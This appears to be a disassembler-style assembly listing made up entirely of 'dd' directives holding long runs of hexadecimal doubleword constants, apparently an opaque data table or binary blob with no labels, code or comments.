		dd 0C72F2272h, 13861708h, 28089D3Ah, 79312A76h,	8E96A63Ch
		dd 3C92082Ch, 4B632148h, 0A241CD3Fh, 2EB9BCC3h,	0EF283099h
		dd 0EA39651Ch, 7343E518h, 64C57BD3h, 0AC0EC83Fh, 6EA378D3h
		dd 7C8FD9E5h, 3C5B98F0h, 1375F55Ch, 0D12F6872h,	496368F1h
		dd 0BB5125Dh, 3D55A48Ah, 0C4F5D4DDh, 505839EBh,	6C487681h
		dd 6BB0E249h, 5C982511h, 0F61BBA67h, 352E81A5h,	0E2ABDFE2h
		dd 0F9B6D5ADh, 70B5814Fh, 0D38D331Dh, 4AF3211h,	5D6037D8h
		dd 9D196C14h, 0F20BC3C9h, 0B8DC6426h, 7271B6EEh, 286FBBC5h
		dd 6D1721AFh, 37AC1EB5h, 71CF03F3h, 1F9BF9D2h, 0CAF48812h
		dd 0FD0F1DD0h, 338391AFh, 0E3AF2E09h, 26C08538h, 0E6F44F71h
		dd 641EA984h, 9614E456h, 26D19811h, 0CD826C1Bh,	0A8AFD346h
		dd 0E748375Eh, 28CAFAF3h, 0D036A7B6h, 8C673E48h, 36A69B9Eh
		dd 74A116B5h, 8C2B243Dh, 44730CCCh, 855EA8B2h, 0C832C52Bh
		dd 148E1DDh, 3652897Bh,	244FCAB2h, 9ADB37EAh, 6242AA04h
		dd 379A63A0h, 0CECA823Ch, 0FBD4CEFCh, 202C6614h, 80F46CCCh
		dd 66173FB2h, 43B40417h, 891F5436h, 0C47B1992h,	412D3D06h
		dd 7616BE3h, 55FB665Ch,	75F5C346h, 0F4D2E0B3h, 0B94DCD82h
		dd 62638FA3h, 8C827525h, 8B8C16FAh, 97BD09BEh, 10E786D7h
		dd 0C9A298B4h, 45492AB5h, 283F6508h, 94D18370h,	816DD232h
		dd 96D0D3CFh, 0A306D908h, 0B087966Fh, 33DD7080h, 66708CF5h
		dd 0CFDDEDF0h, 186D4BDBh, 0FFA382EEh, 85D9110Bh, 6D3976F0h
		dd 5A125D2Ch, 76FCBCCBh, 0EDC71B59h, 96CB4900h,	0E8E6DD2Dh
		dd 57C2158Bh, 0A23D1558h, 45A31D28h, 8C9EB79Bh,	0D3714D48h
		dd 0C24235A7h, 9A79781Ah, 91864711h, 22A5EBC2h,	69468633h
		dd 0F38B50Fh, 0ADDDB43Bh, 3A6DDB8Ah, 0B37D3A68h, 0AAA7476Dh
		dd 0E5AAE63Ah, 81F1B6Eh, 5340E8C4h, 12DBFB89h, 3F02DB63h
		dd 0CCBCE2D4h, 0CE778BE7h, 28CEBD95h, 26375CFCh, 1992C2E4h
		dd 72CB2F31h, 0D1D42BC8h, 0BDB09639h, 3318F9B1h, 2086297Ah
		dd 2483CB0Dh, 640E69C5h, 9313D928h, 2D5514D0h, 0E745FDDh
		dd 662EE86Ah, 0F510DF5Dh, 9EDC3D37h, 87E84480h,	1E6F995Dh
		dd 0B85383DAh, 2CD8D330h, 0A51186F6h, 0CC298546h, 33097D93h
		dd 242EF776h, 53B5F0B9h, 7D29DF45h, 0A5E53C85h,	0F0476136h
		dd 0E141CEB8h, 100255BFh, 5F2B08B2h, 0E3093E7Ah, 384FA9E0h
		dd 0D4AF9474h, 0B8668978h, 0C45F0C96h, 0ECD8280Dh, 560ED381h
		dd 9E1D61D0h, 3726F3E0h, 0CF3A2A3Eh, 0A6533D35h, 99547EFFh
		dd 0F2A776DFh, 756C2ADCh, 2507A6BEh, 1D62E243h,	5F71195Dh
		dd 0F318F9D6h, 0F48705A7h, 2DE85AE8h, 19E1369h,	0E9BB33A7h
		dd 337DEAA5h, 69570BA8h, 689901A6h, 0B6545B44h,	0DE9F7434h
		dd 0EB991FDFh, 40D5BA16h, 0BC23019Eh, 0B8DB1D97h, 4E0CA346h
		dd 0EA064619h, 4E3F9303h, 0EBF510D0h, 5A50DCD7h, 0B1F12C5h
		dd 120F58EDh, 0D6778B86h, 312181DBh, 56B587F5h,	8BFCBB56h
		dd 371C4A14h, 0EE421549h, 0C98504DFh, 740B0670h, 4FFF43B9h
		dd 0B6CF1D26h, 0FABBDDE5h, 0C34F4B5Ch, 5EE70242h, 0C63C0C93h
		dd 0A0FB7073h, 8709771Ah, 8FE02B96h, 6E327A30h,	555D3DEDh
		dd 57733909h, 285F84D0h, 0DBA61F70h, 9F3C9B7Ah,	0D587112Ch
		dd 760C209Ah, 7BB27DA2h, 4D7A49B8h, 545884FDh, 0D9DEB70Ch
		dd 0C55BAA41h, 5BE4B863h, 0DA23AAEDh, 0D5FE5D9h, 3EEE985Dh
		dd 63148C4Ah, 8E0C0A8Bh, 4CA5C606h, 38E32A25h, 7F420AAAh
		dd 12F9FD18h, 9EFAE272h, 0E53F13B8h, 8BEDE4BCh,	5DE45FF7h
		dd 4314BAF3h, 0D40C7DCEh, 53F64E52h, 0FE5B7505h, 8103DD6Ch
		dd 78FA1B36h, 8E2B9A8Ch
		dd 0FE1A5ED8h, 2A6C94D1h, 0ED8E700Fh, 9141CC2Dh, 37BFF2FCh
		dd 0E2E44872h, 0DF16BD59h, 3531C311h, 0C798F66Eh, 52803EFEh
		dd 0DE58F0EAh, 681943CFh, 0B60BA69Ch, 3E66C7BDh, 5CA07FCCh
		dd 884943F6h, 0C8CDFDC6h, 0F3D607D5h, 0D62BDB91h, 0E087C4B5h
		dd 5EBD341Ah, 0B2A3BE22h, 0F0C0D3C5h, 6D1699E0h, 0B5CEFA0Dh
		dd 0AD54E996h, 3019C35Ch, 6107F05Fh, 0BED117E9h, 4A209B52h
		dd 7ED542A4h, 12A889F2h, 5BA5D846h, 2CA7A740h, 77BA4785h
		dd 9A152447h, 48458E13h, 98650E1Eh, 0E329B271h,	4FE0F226h
		dd 0A7045675h, 0B036042Fh, 6E58258h, 8FB30C31h,	63A186C3h
		dd 26E62921h, 1AE37DE0h, 0B175F51Ch, 37A500E8h,	0CF7C4D2Dh
		dd 0A5906031h, 1D82572Fh, 0ED84E908h, 0A03D1E6h, 7831A286h
		dd 0D7857B7h, 25621062h, 0F42B6C37h, 0F803AC5Bh, 0C6237865h
		dd 3DF3F570h, 0CF8D384Bh, 0AE180413h, 0BC1C0DC7h, 0E9234051h
		dd 5E7B2348h, 7538BB42h, 8C3CB11Ch, 34207143h, 87778957h
		dd 0E4C65962h, 9A52BD64h, 0DDA0CDA5h, 558C3EFEh, 1737E9BEh
		dd 0A7526D11h, 69C08D1Ch, 9C9A297Dh, 5141C50Eh,	7904A4EFh
		dd 0DF47FF59h, 9CF753E6h, 0F4959590h, 0F39DE8E3h, 0D3D830B2h
		dd 80F1B59Eh, 31D9B97Eh, 0F18DA3D8h, 0B96EAFFDh, 7B6DC742h
		dd 0BC67B145h, 579BE2B3h, 0B0087C42h, 0ADCA1C79h, 0F71A1C1h
		dd 3BF84624h, 0A80E4A46h, 8ABA9DABh, 9025FA1Fh,	99B07A0Ah
		dd 115C4D6Bh, 0BFFE55A5h, 0D957D3Ah, 6E7DEE26h,	0B6CFC755h
		dd 8C70C332h, 1D55E2CCh, 2046E696h, 5F52ED20h, 0AB253F03h
		dd 7E9208E5h, 0F6B4CEB7h, 0AE23FEDBh, 0B5093070h, 6B6DAFCAh
		dd 7BE330B9h, 0DDAC0E24h, 4C22F7F2h, 347B149Ah,	3C5384E6h
		dd 48897AF8h, 348EC041h, 0BD5A627Ch, 666E027Eh,	7BD95567h
		dd 82C5BDA2h, 36EA4223h, 0B5591ACDh, 266D46Eh, 1441DBFCh
		dd 1D70D6F9h, 743CD774h, 3C30244Ah, 0D4F7E75Ah,	1972F09Ch
		dd 0B87533C4h, 69FA86D3h, 0FF4C9E1Fh, 0F690CD20h, 899E7CBCh
		dd 372D8289h, 0A993EB8Eh, 32EF415Bh, 4547ABAFh,	359F873Dh
		dd 9B235297h, 0AAAA9A40h, 9BAD2A4Bh, 0EE2EB04Dh, 7689AF1Eh
		dd 0DC09E058h, 0C86B808Ah, 0E7E1A68Dh, 818E0090h, 6A3EDC53h
		dd 0BBF9BD04h, 0DD517C1Eh, 0DA1B5195h, 9C7C6ACh, 0DD982C8Eh
		dd 4CA8015Eh, 404937Ah,	3F0D111Eh, 0F883150Eh, 0E1778798h
		dd 6494C718h, 10E26025h, 0BCF769D3h, 0BC9A977h,	0CC9E08D0h
		dd 0C43F6E8Ch, 339CDD86h, 0A45063E3h, 6D10B3CCh, 74EB0F75h
		dd 15E44615h, 5CE626C2h, 0F70CB6D8h, 0E6252B79h, 34921FF7h
		dd 0EF0F7E9Ch, 30CCD530h, 118DEF0Fh, 0D7A16FE7h, 0E66A481Fh
		dd 0C90476F9h, 52864EE8h, 9F8D6BB1h, 40147C8h, 6F339F5Bh
		dd 0F9885D8Fh, 0D6EDC7C8h, 9BBF9B49h, 400D4756h, 4F86493Fh
		dd 4F933C4h, 0CB0F3AB3h, 0CA3C3D0Dh, 86CE511Ch,	95AAC795h
		dd 824AC15Bh, 0ECA2ACE6h, 1394E5EBh, 0D56B5FA2h, 0AC7EE7A7h
		dd 8D7F9F62h, 0BE95E346h, 0C9D2CBD5h, 8DE73FDh,	0AF8FE6DFh
		dd 6163510Ch, 0D03A7FBDh, 62B81962h, 0DEB0BAAFh, 0AE96AB35h
		dd 0E99D7577h, 0F46A4D21h, 72A00E4Dh, 199E9EE3h, 8778A292h
		dd 0E7C2CB3Ah, 387966F2h, 184412F7h, 66C71F22h,	4AE60042h
		dd 31F16DE8h, 0DC877CF2h, 3231626Ch, 0EFBB6118h, 2C48F24Ah
		dd 1D6432A6h, 91C5BCC5h, 0DAB73200h, 2865721Eh,	0C6BC8C20h
		dd 0EDF6BB7Ah, 276FAF11h, 77D5AE93h, 2B1B4D52h,	37154932h
		dd 31FDC16Fh, 63D99410h, 0B4C0DEB1h, 3102E3C5h,	95530B76h
		dd 0E8F13D9Bh, 40BC8A10h, 0F4D720F3h, 5C0C4A79h, 3D3D2341h
		dd 25D6D342h, 7E8ECB6Ch, 6967140Eh, 9E06FCA5h, 0A99621FDh
		dd 236EAC81h, 531AADE1h, 0A8687A01h, 6DDFABB7h,	66A17806h
		dd 814F0751h, 154DA193h, 0C017C962h, 41B07D29h,	8E24F28Eh
		dd 3738E40Eh, 77F5149h,	29EA2D18h, 5760FE0Fh, 0C4BC73DAh
		dd 0EF455535h, 0C067BE0Ah, 7B907867h, 3CFDEDE3h, 54BE0519h
		dd 0E960A1ABh, 0B51C4C95h, 0DC9EFB02h, 0C1B379DDh, 657C6345h
		dd 5B1686A7h, 8B063A59h, 7C68110Fh, 225B2812h, 9335DF85h
		dd 0F18054D5h, 4B281B14h, 45D28DDBh, 65D4AFD0h,	6496A35Ah
		dd 39BE1F93h, 0DBE16474h, 90884259h, 0B46C22E1h, 8505EAF7h
		dd 1C0CAE0Fh, 5892FC4Ah, 0C301C269h, 25A57007h,	9C3962ABh
		dd 0C4857E80h, 477E0419h, 45E6E9B9h, 7953BF9Fh,	809AD623h
		dd 0A4128950h, 327467ADh, 0F31CF290h, 7D1DFA3Ch, 6E1D7D45h
		dd 731A773Eh, 9C61924Ah, 2DCE808h, 789F11A8h, 0C532CB76h
		dd 5249F5CEh, 0BFE6E5C7h, 2A48C370h, 5A33605Ch,	16B734E3h
		dd 0BDDD5B36h, 0F05DAC52h, 4D188F8Ah, 65973ABCh, 0C5AC120Ah
		dd 0B20918B2h, 31EA2C28h, 47C35A76h, 6A0FA997h,	330B9C6h
		dd 35A13C13h, 10B68FEEh, 59445FF8h, 393ED11Bh, 76927B22h
		dd 94CA01FBh, 0EF21B2ABh, 0F14E5CA4h, 44BDCEC5h, 0A56B2710h
		dd 34807D04h, 0CB154BAFh, 2264F8C6h, 0AA89C6AAh, 0CCF2FF8Bh
		dd 0BB337F4Dh, 26BE2594h, 752A7AA3h, 1C0DB7C1h,	7518CD5Bh
		dd 0C50A7117h, 34A151C2h, 63229199h, 8F7954A2h,	5B9E738Ch
		dd 0B68C3EA5h, 1CAAF25Bh, 3A8FCB19h, 0FCF74C3Bh, 2189320Ah
		dd 0DF9EB356h, 0C6124DD2h, 667B7584h, 57BB339Eh, 0F4346C0Eh
		dd 0CBC3D46Bh, 69E66291h, 5F19B7F3h, 0F15273DAh, 0DF381F96h
		dd 0F1659C07h, 4A959F17h, 5A876A6Fh, 0C4693477h, 0B8943FCFh
		dd 27836292h, 0EC852CD2h, 11495743h, 0A1B7C2B2h, 6BE88C5Fh
		dd 3A4F566Ch, 4CF19F47h, 9B0857D0h, 0AC28FEC1h,	96732CF2h
		dd 13B27EE7h, 0DD16CB2Eh, 0E7E57DC5h, 7C9D7544h, 0D8A177FBh
		dd 3DE3BA4Fh, 48D005F0h, 0B25802A8h, 0DF9A5A8Bh, 9C26A343h
		dd 7F926091h, 30EB4A60h, 3F48325Fh, 0AB3D36E2h,	33B81DAh
		dd 45E3EBDDh, 0DA7641F9h, 7D7EA463h, 0CF5E86EBh, 0D5CCD36Bh
		dd 0C984BE64h, 4CC3F237h, 0D2E71F66h, 77C626D3h, 1F945297h
		dd 0D78A4497h, 6860597Dh, 4D7CA875h, 1D85C4E1h,	2AE98D29h
		dd 291156C1h, 0EA22B6C9h, 0BECC1F35h, 58B7ABCEh, 3C21919Eh
		dd 0B9A5C6E7h, 231D8E21h, 8FF4C25Dh, 0A11FFF1Ah, 7E5A3689h
		dd 6E0B611h, 7EA2B504h,	506872B8h, 0FC96EF90h, 0C87E5F6Fh
		dd 0B0110AC4h, 33D753C5h, 0AFB25D8Eh, 4C6773FFh, 0F3D38236h
		dd 204DA82Eh, 4FB11B8Dh, 0CD56182Ah, 295D550Bh,	23621781h
		dd 355D096Bh, 503C0C3h,	3CACF249h, 0DA63B9CBh, 0B9FE0C9Ch
		dd 987C18BAh, 40F2B1B5h, 67116D95h, 0F35A1826h,	0D090B295h
		dd 23E3270h, 936D6D14h,	0A6F251Ch, 75C4DBBAh, 38D90077h
		dd 0B0D7D939h, 6A30965Ch, 4975624Ah, 0BE9E9352h, 1E2F6D67h
		dd 0BC9418B8h, 3E79554Eh, 0E5B0E44h, 0C779C10Fh, 4AAE8DEDh
		dd 0D1FE7860h, 828C36BAh, 47BA427Ch, 0BC76F4FBh, 0B38F4A52h
		dd 5858F98Bh, 3C1DAD3h,	0F6D1256Ch, 2AF4A701h, 0C920D2A5h
		dd 47E2FBABh, 69B41343h, 73B49FC5h, 40E0E955h, 87F011A1h
		dd 0D872C2C7h, 0AF7BBEDDh, 4495128Ah, 0DB5FF4D6h, 0D2F6ED2Ah
		dd 44C8E2A2h, 456E8E3Bh, 7087566Fh, 0E46EB2FDh,	32B9A7E2h
		dd 67E23B07h, 0A5D6CFh,	0B5CC3939h, 39F2C9E1h, 0AC774196h
		dd 99025CE8h, 7E9B69FFh, 0FEDD9F93h, 296F57FCh,	51114A31h
		dd 3BEA053Eh, 0C12A5FDCh, 9AAE32F7h, 6745D06h, 0A7D33068h
		dd 3A5747EFh, 0E0A2623Fh, 5DE8F10Fh, 0BEEA0C86h, 7A26024Ch
		dd 719ACB7Ch, 52F2B8CCh
		dd 230BECCh, 8C4E671Ah,	427AB92Fh, 872DFE4Dh, 8D801F47h
		dd 4405E497h, 0E68C1046h, 9EE90EAh, 30C908D5h, 90AD5E4Eh
		dd 7C063D9h, 2B25A086h,	925556Eh, 1133C46Dh, 28FBC174h
		dd 92D2EC6h, 20733B8Eh,	6C31DF40h, 7528241Ch, 351DB02Bh
		dd 0F4555A20h, 2482A383h, 0C08876FEh, 6BAE46C6h, 8D2B9658h
		dd 386112E6h, 54459046h, 607A89D0h, 0FFA213C5h,	44020DABh
		dd 98D08477h, 4555184Eh, 83388808h, 870AA659h, 34F43867h
		dd 0A9A79066h, 802A5174h, 0CDBBFBEEh, 0F407242Fh, 0D41388F1h
		dd 0DE598F59h, 115F977Ch, 928A031Ah, 0EB40E216h, 0E36D499Dh
		dd 7ED0CFCBh, 0E697590Ch, 0BFF2CB2Dh, 8A63FA2Dh, 45BDE4EDh
		dd 0E9D88508h, 0AF8B4FF7h, 0D6123587h, 6F4C5F44h, 669EF240h
		dd 8BE6BF5Eh, 6D5FA38Eh, 0DDA52356h, 946E289h, 439FDD5Ch
		dd 0DB9665Ah, 0B19F2697h, 6A77B6A5h, 786FD393h,	0DA51775Ah
		dd 48B2E51Dh, 0D4EAFDE8h, 0CC29E214h, 0A2D3DACAh, 387A6FF7h
		dd 856702BBh, 0E13BD74Fh, 0EEC6C21Ch, 0CDB5B189h, 0EBCE3DFBh
		dd 0CCD9E304h, 83CB5ECBh, 32595B12h, 0B0109EA2h, 0CCEDC2C7h
		dd 25FAC993h, 9AF1A8Ch,	4718F4F7h, 0DFB74D2Ah, 0CB77070Eh
		dd 98D47C30h, 2BB73C88h, 7BC29423h, 270486h, 29A6F808h
		dd 74ACB06Fh, 92C2751Ch, 6C4D6EE9h, 0FED95F02h,	0E9065508h
		dd 0E2D3D55Ch, 3CB474D3h, 0D6BF50Ch, 0FAFE617h,	0DE8B43D1h
		dd 3A4875B5h, 704D7E72h, 3DEC6E58h, 0ACBB1813h,	9D4CA430h
		dd 90FC9485h, 1E212FF1h, 0D49149E2h, 0F761BA13h, 5DD1F9CFh
		dd 62CFC07Fh, 512B829h,	0CBCDA88Bh, 88043500h, 43214C15h
		dd 0D5C59C56h, 845C4075h, 952FA7A8h, 5440FB18h,	32D7A46Dh
		dd 3C88652Eh, 1B8E471Ch, 6479D45Eh, 77CE5153h, 9B74C698h
		dd 99E6C27Bh, 0B111D3D7h, 76D25198h, 424F4EF2h,	0B11B0A6Dh
		dd 1D253C71h, 78FD97B9h, 0E274E80Bh, 4E258419h,	0C217583Bh
		dd 145F38D4h, 0A1F48A06h, 3CAD7D36h, 5320D889h,	0B0AFAF46h
		dd 0A1B5A3Eh, 0D0F55371h, 0CD69147Ah, 991D1CE8h, 0C1C41544h
		dd 0E1AC68EDh, 0C085147h, 8EE7678Bh, 0E694C8D4h, 0D8B2FBF7h
		dd 0A3AF5838h, 0D0D4FF01h, 0DFE234FAh, 0E8F5BFDCh, 2EE7F2C8h
		dd 9A63808Bh, 494FBED9h, 71AEE79Eh, 884713BFh, 319A36ABh
		dd 0E2D3E839h, 0F3E9F373h, 303D6A04h, 74376651h, 0DEB1BEB9h
		dd 0F7B76734h, 1B4BE070h, 2826092Bh, 0E3D701A9h, 0DEC6C27Eh
		dd 842C4761h, 562F5A39h, 808F8759h, 642A0F80h, 2EEB92B1h
		dd 6E337AE9h, 0A155773h, 0E841C38Dh, 0C8ED40ECh, 892D708Ah
		dd 0C8055EC1h, 0E83E4CFAh, 0A1205171h, 0AEED116h, 821DFD4Dh
		dd 54B4967Bh, 31F00838h, 0EC0A3701h, 0DBA0E3DBh, 2E332DA7h
		dd 0AD14B657h, 3E0938BEh, 95C644F9h, 618B94BFh,	44579539h
		dd 9D33C9A3h, 7284DADFh, 0F108E473h, 0FB9DC959h, 8117D32Eh
		dd 0B04C13BFh, 0E10BF5A9h, 7998EBBFh, 758AF530h, 0C10F54C9h
		dd 0B186E4DCh, 0DA40FB37h, 2646744Ah, 87559489h, 66DB79A4h
		dd 4EB5C8C1h, 0D0F4C64h, 0F502E69Dh, 42E89DB1h,	73DEFAA8h
		dd 190F25D6h, 70A19801h, 712B085Ah, 9F5370C7h, 0F2C552E3h
		dd 1F6BB429h, 0DEEC571Fh, 0BF5BA72Dh, 0C291C878h, 0EA22B3FDh
		dd 75BC3447h, 0D9E0A510h, 55FDD884h, 0F0319CA9h, 0A6F2EC8Eh
		dd 0F3578D08h, 21CE3776h, 74A2340Ah, 53036F7Fh,	35515A92h
		dd 0D48593A8h, 62C9B917h, 0A7A503Dh, 64AE66B1h,	0BD495491h
		dd 8236BCFBh, 331FE1D3h, 47A7E5A8h, 0C25F7AEDh,	8872023Bh
		dd 2EDDCBF0h, 87CF0E56h, 1BD26C4Fh, 0B0977FC7h,	0C4272CA8h
		dd 0FFE90CBEh, 0BFDD630Eh, 265B32F7h, 0D7DBD070h, 7254E96Bh
		dd 0A98C773Bh, 29B54C5Bh, 8D9A0B0Fh, 6E35A151h,	0F8DF18E9h
		dd 420D022h, 0AE08E41Bh, 0AEC2B7DDh, 0C646CAFEh, 681B9C54h
		dd 8CFCD173h, 13ACA11Eh, 687B9A73h, 0F8F437C8h,	71ABA16h
		dd 48C38DAFh, 8D463C4Ah, 0C8E5D26Fh, 3D6EEACAh,	625F248Dh
		dd 5E1E3454h, 63988D37h, 71096DF3h, 0EF872AEAh,	1784E7C8h
		dd 0F88B57EAh, 0B2361C6Dh, 38A3233h, 12F3ECFAh,	210F3C74h
		dd 37F008h, 194EE09Eh, 38D049EDh, 588D9659h, 0E175B1E7h
		dd 0AED46388h, 3CC9EF98h, 4BF3769Eh, 875E46D2h,	1CEC260Ah
		dd 2EDEAF79h, 0FFF11801h, 88CBD198h, 126EC4E2h,	0BBB3318h
		dd 0EF523F18h, 0ED057959h, 0C16DAD66h, 9F723FC3h, 0D3DFA661h
		dd 0C6D35134h, 4C001F56h, 39A446E7h, 56E24051h,	319A9C42h
		dd 8357F015h, 3674B026h, 2625FB71h, 9A7CFBE1h, 558BA5FBh
		dd 77CAA843h, 91DE314Fh, 1E9ED51h, 56DD7319h, 0E09639D3h
		dd 1A52DCC2h, 486D86Dh,	0EBF93997h, 6CA0B7AFh, 0E225B228h
		dd 587674EAh, 0ADED2C68h, 62BABCADh, 9E0ACCD9h,	79AEFAC8h
		dd 0E04A974Fh, 4948D006h, 0AC43E532h, 0C883B668h, 0D68A93C3h
		dd 4C24778Fh, 16194C21h, 7F7BAF9Ch, 90B6AE5h, 0A8EF50C3h
		dd 0AEDB9821h, 0C7F48E5Bh, 60C9959Bh, 8CE1DEF6h, 0A61BCD82h
		dd 6A5006AAh, 154E3745h, 1F3999ACh, 0BD3653B3h,	6EBC88C4h
		dd 0C368F218h, 0ECD312C3h, 259886D5h, 2EF9DC08h, 0B8BA485Fh
		dd 0FEDB75F9h, 1204F902h, 24A03132h, 23FF8B09h,	0A850237Fh
		dd 0D6CBEEC7h, 0C24A05FBh, 0D0E24B50h, 6498590Bh, 913D9604h
		dd 77B4986h, 932BABA4h,	0E5E827EAh, 7DBAA60Eh, 90FC5BB8h
		dd 0CC0C84B7h, 4C5C7DBAh, 66FD8FD4h, 3ADCF454h,	35928D4Bh
		dd 2D5DAFh, 0C872E7C8h,	0FC289C81h, 0AF37FD9Ch,	837C1ABFh
		dd 0FD995734h, 0D439EA75h, 7C444A0Dh, 0B4023008h, 0CA5E393Fh
		dd 93277A72h, 0C78CB51Ch, 0AD93C351h, 0B841B389h, 1E3F226Ah
		dd 549CFD74h, 36C699B2h, 0FFE1B143h, 63026A1Ah,	2B737A7Dh
		dd 3506E9D5h, 84CF3602h, 3104D183h, 0CD94A36h, 0FAD1FFA3h
		dd 40E53915h, 51B9FEDDh, 1F621070h, 9CFB6AACh, 0C752809h
		dd 0C1170099h, 7D509CF4h, 3D6B0178h, 6FB1D24Fh,	7EDC5C9Fh
		dd 0C64768CEh, 0FD34D9Eh, 4764AFA3h, 3ABC086Bh,	0CFA07B9Dh
		dd 5F3990CDh, 0AA63ECC1h, 165B1FDCh, 4B4A6957h,	9513406h
		dd 0B9862B71h, 0EF1F5357h, 4C4C890Fh, 5D47BF06h, 7AFDBC76h
		dd 9883B45Ah, 0E2FD5A2Ah, 1881198Fh, 6923BF80h,	9F3C270Dh
		dd 0EC834AF5h, 7199CA3h, 8009783Eh, 0D55C2E18h,	0E150385Ch
		dd 0CE4F4B29h, 30025408h, 62166DC2h, 2CA32431h,	4A8DF095h
		dd 1AAC6512h, 0D64A041Fh, 0AC078725h, 685A2F7h,	0B5E595F2h
		dd 0FC90CB2Fh, 1335630Ah, 27D19B11h, 28F9BBC7h,	1258FA64h
		dd 0AF02F625h, 0DDD67E42h, 98C9C839h, 783A18F0h, 0A0CF47C8h
		dd 0E11728E9h, 1E332A56h, 49C556ECh, 3CC46049h,	9BFC9B05h
		dd 89D7CC34h, 0EBCED9CEh, 9EF42CCEh, 1975519Ah,	0A4443CA4h
		dd 0B258C3BFh, 0D5D0C7D1h, 18475E0Bh, 0EFA769AEh, 0A84BB4Ah
		dd 83CCE7F1h, 0F270C80Fh, 0FE43B072h, 297BB436h, 7E58CE90h
		dd 4F2E8ACDh, 6D3C53B7h, 2D128F24h, 0F684AD22h,	1705316Eh
		dd 2F407872h, 0F6A235D8h, 34642578h, 0CA15EB22h, 0F34744B9h
		dd 0C1BE13Ch, 0ACFF7C02h, 1F5E4D78h, 0C3D2672Eh, 698CA355h
		dd 23AF9277h, 5841133Eh, 93FD8671h, 8E983AD9h, 8CB3435Ch
		dd 0EA174536h, 7FAC8BF1h, 0F26E15AEh, 0F78383F9h, 0FB82F75Ah
		dd 57946D90h, 0E9ABA50Ch, 2420287Dh, 0BA21BDA1h, 176BD561h
		dd 0C97FE887h, 0BBFEBAE2h, 0AADC7336h, 8E590h, 0EE079A6Fh
		dd 5A6BD890h, 0DF563B47h
		dd 859D7A82h, 91CCC2E9h, 2EBDF992h, 0C5DB0C8Fh,	0B45CCCCEh
		dd 0F6830555h, 0D9D0227Dh, 703E9D8Dh, 0F1E1B7A7h, 429A80E3h
		dd 0A7815F9Eh, 0A9811D81h, 179D2C81h, 632B4D02h, 0D5FC42F5h
		dd 815BEAC2h, 2C0158B3h, 0B7BF035Ch, 64450F59h,	34C3DDE7h
		dd 9D2A2A25h, 6554A1D2h, 64C9B115h, 6F0B6B67h, 0C43CF5ADh
		dd 5F45B3C2h, 3642EB50h, 87DE1B85h, 65175723h, 7F7F922h
		dd 0E440647Ch, 0DAD6C55h, 0E9AECBB4h, 0E5EC51F1h, 284AC0B6h
		dd 0AC880ACDh, 0EB4F33C1h, 6FD63593h, 2264D840h, 240B31B6h
		dd 0A655C2FBh, 0D7F58B2Eh, 0C5A9A783h, 39777103h, 123C1AEBh
		dd 5E8C2A4Dh, 2B1EF881h, 6A2910BDh, 21B20A30h, 0EA46F48Ch
		dd 477AB6F3h, 6DCA39D5h, 413D9752h, 71F50B08h, 4C816819h
		dd 54FD3FD5h, 0E624D0DBh, 1E312A9Bh, 8A80C82Ah,	483EC77Ch
		dd 11C1BEE9h, 77C90E91h, 3E05EB58h, 0C681AE3Ch,	178EE990h
		dd 5B42D3ADh, 24C00A3Fh, 69E0EDF9h, 0A389BEFh, 2DB59C6Bh
		dd 47D5F107h, 12EF8D4Fh, 0A04AD509h, 0A1CCD0DEh, 0BD50DC1Eh
		dd 2654A5E4h, 1F65FBFFh, 0A9C4C183h, 0FFF070C0h, 34280EFCh
		dd 0CE84018Dh, 0B64E08Dh, 6907CD7Ch, 0BC069A2Dh, 0AAF95D24h
		dd 862F2544h, 36112243h, 55B2668Ch, 0EEFEA1DFh,	3901CE97h
		dd 0A3B20785h, 7BF83B21h, 849325DCh, 34822273h,	0B4352E2Eh
		dd 0B4DD97B3h, 0B08026D0h, 938EFA42h, 886284F8h, 95B60291h
		dd 0BB00215Fh, 0B4D714E1h, 724FCC71h, 0ABE36FDDh, 0C7F627AAh
		dd 89EDA934h, 2598474Fh, 0C87121D9h, 72DF93A3h,	0AAF4538h
		dd 0C19B4197h, 0EFA97594h, 0D5A5C4A0h, 7945A18Ch, 0A61EB86h
		dd 0AD1EE7C7h, 82304542h, 6F349BE0h, 4E2FF4F8h,	83DC5A37h
		dd 0CF766599h, 543181E8h, 5DF40F56h, 2C4C0E35h,	10F50A90h
		dd 17D449CDh, 6A00C5F1h, 943FF9E4h, 7845C3C7h, 0C9D15BC9h
		dd 26E7A2C0h, 822E734Eh, 2BB49C90h, 0AE3D2507h,	264DDF23h
		dd 7FC582CAh, 0E7E35D52h, 0E423EE77h, 495899DAh, 0DB7F0132h
		dd 91C895C1h, 85CCC4Ch,	2FF2FBDCh, 58ACC704h, 0B0F57108h
		dd 0E5448821h, 0B587F1FDh, 0FE5AC388h, 5B32BB71h, 8BD49D17h
		dd 0AE682B2h, 0BF392E68h, 597304F8h, 637784E8h,	0A49C626Bh
		dd 74ACF129h, 0ED807CD8h, 26C41536h, 0D4F13DB8h, 0B7E6C4FFh
		dd 2E4F139h, 6CEFDF94h,	7A5BEF70h, 4C921EEFh, 8A20222h
		dd 0FDD695E2h, 0E28ACCB7h, 0CA7794C8h, 0C52E1B50h, 0C81DB9C4h
		dd 68A05022h, 571E2EA6h, 0BF111A73h, 0F207E8BFh, 36118C4Ch
		dd 21ACE6Eh, 74B8FE3Fh,	7F58F016h, 293CAFBDh, 22BF73B8h
		dd 335C9F7Ch, 0E0147807h, 857D1875h, 0B7ED449Fh, 2B2B49B5h
		dd 8BB3793Ah, 0CC0FCBAFh, 0ECADD8A6h, 701EDDC8h, 77FB4F5h
		dd 8C92F21Eh, 9D4DA56Eh, 0B2725E01h, 0F1914ADCh, 3ADA475Dh
		dd 6D7ACF9Ah, 1C638E86h, 0C0333573h, 5DE3DB82h,	25327510h
		dd 0E037E79Dh, 2CF5A39Bh, 6E14031Fh, 3F7CFBDAh,	91191B3Ah
		dd 0B6993226h, 3129BC72h, 356064DDh, 58A2C6A1h,	47A9032Ah
		dd 4FDADC1Ah, 2B099325h, 66EA49DAh, 0CFFB45DFh,	0DD7BC0D7h
		dd 0E977ED4Bh, 0DAE836BAh, 0B4C969FAh, 0D098E249h, 66F64470h
		dd 59CDF944h, 7905E2A4h, 768448EDh, 33A6AF5Eh, 0DDB1361Bh
		dd 33190703h, 0C2EB235Ah, 0FF39F71Ah, 0C049BF6Dh, 321781E4h
		dd 955782EBh, 0AB12A83Ch, 8714ED34h, 0E5DDB457h, 8C7F5A82h
		dd 0BBAD2170h, 2463F5F8h, 0D00AD23Dh, 0F5BF636Ch, 13BE2F0Ch
		dd 11031E03h, 0A0051688h, 0ECD60E2Dh, 0D039D9ECh, 875341CDh
